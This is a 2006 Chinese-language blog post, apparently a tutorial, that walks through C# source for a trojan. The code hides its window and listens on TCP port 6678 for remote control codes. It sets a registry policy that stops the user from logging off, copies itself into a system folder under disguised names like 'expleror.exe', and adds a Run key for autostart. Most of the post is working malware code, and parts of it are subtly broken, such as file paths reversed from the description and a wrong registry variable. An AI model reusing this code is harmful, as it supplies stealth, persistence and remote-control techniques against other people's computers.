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          要實(shí)現(xiàn)木馬服務(wù)的程序,主要實(shí)現(xiàn)以下幾個(gè)功能:后臺(tái)的運(yùn)行(隱藏技術(shù)),控制碼的接收與注冊(cè)表的修改,下面對(duì)這三方面做介紹:



            1、在VC#中,建立一個(gè)后臺(tái)服務(wù)程序是很容易的,先建立一個(gè)新的C#的Windows應(yīng)用程序,項(xiàng)目名稱自定(不過為了隱藏可使用與系統(tǒng)相近的名稱),將窗體屬性“ShowInTaskbar”屬性設(shè)為false,讓它運(yùn)行時(shí)不會(huì)在任務(wù)欄中顯示,并將屬性“Windowstate”屬性設(shè)為Mininized即可,這樣窗體就可以隱藏運(yùn)行了。當(dāng)然你也可以在InitializeComponent()設(shè)置,此函數(shù)起初始化的作用,在窗體顯示前運(yùn)行,代碼如下:





          private void InitializeComponent()
          {
          //
          // Form1
          //
          //窗體顯示的起點(diǎn)和大小
          this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
          this.ClientSize = new System.Drawing.Size(368, 357);
          //窗體名稱
          this.Name = "Form1";
          //設(shè)置屬性讓它后臺(tái)運(yùn)行
          this.ShowInTaskbar = false;
          this.Text = "Form1";
          this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
          }


            2、控制代碼的接收,必需在服務(wù)程序運(yùn)行開始就啟動(dòng),所以偵聽線程必需在程序初始化中啟動(dòng),所以放在窗體的構(gòu)造函數(shù)中,代碼注解如下:







          public Form1() //窗體的構(gòu)造函數(shù)
          {
          //
          // Windows 窗體設(shè)計(jì)器支持所必需的
          //
          InitializeComponent();



          //
          // TODO: 在 InitializeComponent 調(diào)用后添加任何構(gòu)造函數(shù)代碼
          //加入你的偵聽代碼
          //端口你可以自已設(shè)定,我使用了固定的端口
          int port =6678;
          //System.Net.Sockets.TcpListener是用來在Tcp網(wǎng)絡(luò)中偵聽客戶端的
          listener = new TcpListener(port);
          //啟動(dòng)偵聽
          listener.Start();
          //增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()
          //reControlCode 是線程啟動(dòng)執(zhí)行的函數(shù),此函數(shù)根據(jù)接收的控制
          //控制碼選取合適的注冊(cè)表修改函數(shù)
          Thread thread = new Thread(new ThreadStart(reControlCode));
          thread.Start();
          }
          reControlCode函數(shù)如下,完整代碼見程序
          private void reControlCode()
          {
          //設(shè)置接收套接字,接收listener.AcceptSocket是返回已經(jīng)接收的客戶的請(qǐng)求
          socket = listener.AcceptSocket();
          //如果連接成功執(zhí)行
          while (socket.Connected)
          {
          //接收控制碼
          byte [] by =new byte[6];
          int i = socket.Receive(by,by.Length ,0);
          string ss = System.Text.Encoding.ASCII.GetString(by);
          //根據(jù)控制碼執(zhí)行不同的功能

          //修改注冊(cè)表加入編碼
          switch (ss)
          {
          case "jiance"://測(cè)試連接,返回測(cè)試信息
          string str ="hjc";
          byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
          socket.Send(bytee,0,bytee.Length,0);
          break;
          case "zx1000":
          //修改注冊(cè)表函數(shù),自已定義,見下面分析
          UnLogOff();
          //返回控制消息
          retMessage();
          break;



          case "zx0100":
          //修改注冊(cè)表函數(shù)
          UnClose();
          //返回控制消息
          retMessage();
          break;
          //重復(fù)的case功能與前面一樣,略掉
          default:
          break;
          }//case
          }//while
          } //private void reControlCode



            3、C#中實(shí)現(xiàn)注冊(cè)表的修改,使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統(tǒng)引發(fā)的事件的類和對(duì)系統(tǒng)注冊(cè)表進(jìn)行操作的類。下面就可以看到它的用法。這里我做了一個(gè)修改注冊(cè)表的子程序:使計(jì)算機(jī)不能注銷。在這之前先了解注冊(cè)表,在子鍵SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
          下面設(shè)鍵值NoLogOff 為 1 即可使計(jì)算機(jī)無法注銷。在下面的函數(shù)中用C#實(shí)現(xiàn)對(duì)注冊(cè)表的修改:





          private void UnLogOff()
          {
          //得到主機(jī)的注冊(cè)表的頂級(jí)節(jié)點(diǎn)
          Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
          //設(shè)置一個(gè)注冊(cè)表子鍵的變量
          RegistryKey key1;
          try
          {
          //函數(shù)RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
          //registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認(rèn)為fasle不可改
          key1 =
          rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
          //設(shè)置子鍵的鍵名,和值
          key1.SetValue ("NoLogOff",1);
          //關(guān)閉打開的子鍵
          key1.Close();
          //警告字符串設(shè)定
          mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請(qǐng)將它置為0!";
          }
          catch{}
          //如果不存在自已建立
          if(key1 ==null)
          {
          try
          {
          //使用RegistryKey.CreateSubKey(string mystring)函數(shù)來建立你需要的子鍵
          RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
          key2.SetValue("NoLogOff",1);
          key2.Close();
          mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請(qǐng)將它置為0!";
          }
          catch{}
          }
          }


            4、在木馬程序中還有一個(gè)重要的功能就是自我的復(fù)制和轉(zhuǎn)移。木馬引入被控制的主機(jī)時(shí)必需自動(dòng)將木馬隱藏在System,System32的目錄下以防被發(fā)現(xiàn)。轉(zhuǎn)移的代碼分析如下,主要實(shí)現(xiàn)的功能是將D盤下的木馬程序轉(zhuǎn)移到C:\\winnnt\\system\\msdoss.exe,同時(shí)換名稱。使用的.NET命名空間System.IO,它的作用是允許對(duì)數(shù)據(jù)流和文件進(jìn)行同步和異步讀寫。這里我們使用了System.IO.File類。





          private void moveCC1()
          {
          try
          {
          //函數(shù)File.Move(string sourceFileName,string destFileName)起移動(dòng)文件的作用
          //sourceFileName為要移動(dòng)的文件名,destFileName為文件的新路徑
          File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
          }
          catch {}
          //將新移的木馬程序設(shè)為自啟動(dòng).分析和前面一樣
          try
          {
          key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
          key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
          key1.Close();
          }
          catch{}
          if(key1 ==null)
          {
          try
          {
          RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
          key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
          key1.Close();
          }
          catch{}
          }
          } //moveCC1()?
          posted on 2006-10-27 20:19 曾科 閱讀(143) 評(píng)論(0)  編輯  收藏 所屬分類: C#
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